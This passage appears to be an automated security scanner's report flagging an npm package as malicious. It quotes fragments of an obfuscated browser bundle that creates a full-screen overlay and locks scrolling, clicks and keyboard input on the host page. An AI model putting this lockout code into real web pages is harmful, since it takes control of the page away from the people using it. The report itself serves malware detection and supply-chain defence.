It blocks scrolling, clicks outside the overlay, and keyboard input. - **Trigger:** Loading dist/theme-bundle.chunk.7.js in a browser page. - **Impact:** Denial of normal interaction with the affected web page. - **Evidence paths:** dist/theme-bundle.chunk.7.js, chunk-original.js - **Review source:** ai\_review - **Reviewed:** 2026-09-03T22:50:55.012Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Obfuscated DOM overlay and input suppression. - **Attack narrative:** The minified bundle runs immediately in a browser context. It creates a high-priority overlay, locks document and body scrolling, disables body pointer events, intercepts keyboard events, and removes its own script element. The included readable source shows the same behavior. Although no theft or network activity was found, this is a deliberate page-interaction denial mechanism. - **Rationale:** The package contains an obfuscated, immediately executing browser payload that prevents users from interacting normally with the host page. Its lack of an installation hook limits activation but does not make the injected behavior benign. - **Files touched:** dist/theme-bundle.chunk.7.js, chunk-original.js ### Review decision - **Verdict:** Malicious - **Confidence:** 94.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The shipped browser bundle is deliberately obfuscated and creates a full-screen, maximum-z-index overlay., When loaded in a page, it disables scrolling, body pointer events, and all keydown events, leaving the injected overlay as the usable interface., The manifest has no install lifecycle hook, so this behavior requires the browser bundle to be explicitly included or executed. - **Evidence against:** No network endpoint, credential collection, filesystem access, shell execution, or remote-code loader was found., The package does not declare preinstall, install, or postinstall scripts. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Obfuscated Payload Loader - **Category:** Source - **Confidence:** 86.0% - **Path:** dist/theme-bundle.chunk.7.js - **Public source:** [View source]() Source contains an obfuscated payload loader that reconstructs and executes hidden code. Public source snippet (untrusted): ```javascript L1: (function(_0xac03e9,_0x141ec7){var _0x29b96d=_0x27ed,_0x15bec8=_0xac03e9();while(!![]){try{var _0x395bd4=-parseInt(_0x29b96d(0x1f7))/0x1+parseInt(_0x29b96d(0x1e7))/0x2+parseInt(_0x... ``` ### 3. High: Obfuscated - **Category:** Supply Chain - **Confidence:** 100.0% Package source appears deliberately obfuscated. ### 4. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 5. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 94.0% - **Path:** dist/theme-bundle.chunk.7.js - **Public source:** [View source]() The shipped browser bundle is deliberately obfuscated and creates a full-screen, maximum-z-index overlay. Public source snippet (untrusted): ```javascript var _0x1f196d='_'+Math[_0x4bced9(0x202)]()['toString'](0x24)['slice'](0x2,0x8),_0x1a7183=document['createElement'](_0x4bced9(0x1f8));_0x1a7183['id']=_0x1f196d,_0x1a7183['style'][_0x4bced9(0x1f1)]=_0x4bced9(0x1f3); ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 94.0% - **Path:** chunk-original.js - **Public source:** [View source]() When loaded in a page, it disables scrolling, body pointer events, and all keydown events, leaving the injected overlay as the usable interface. Public source snippet (untrusted): ```javascript document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; document.body.style.pointerEvents = 'none'; o.style.pointerEvents = 'auto'; window.addEventListener('keydown', function (e) { e.preventDefault(); e.stopPropagation(); }, true); ``` ### 8. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 94.0% - **Path:** package.json - **Public source:** [View source]() The manifest has no install lifecycle hook, so this behavior requires the browser bundle to be explicitly included or executed. Public source snippet (untrusted): ```json "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** theme-bundle.chunk.7.js - **Ecosystem:** npm - **Version:** 1.0.5 - **License:** ISC - **Version published:** 2026-09-03T20:40:07.535Z - **Package first seen:** 2026-09-03T15:31:15.862Z - **Package last seen:** 2026-09-03T22:50:55.012Z - **Known versions:** 3 - **Latest version:** 1.0.5 - **Appeal under review:** No - **Artifact files:** 7 - **Artifact unpacked size:** 13,166 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
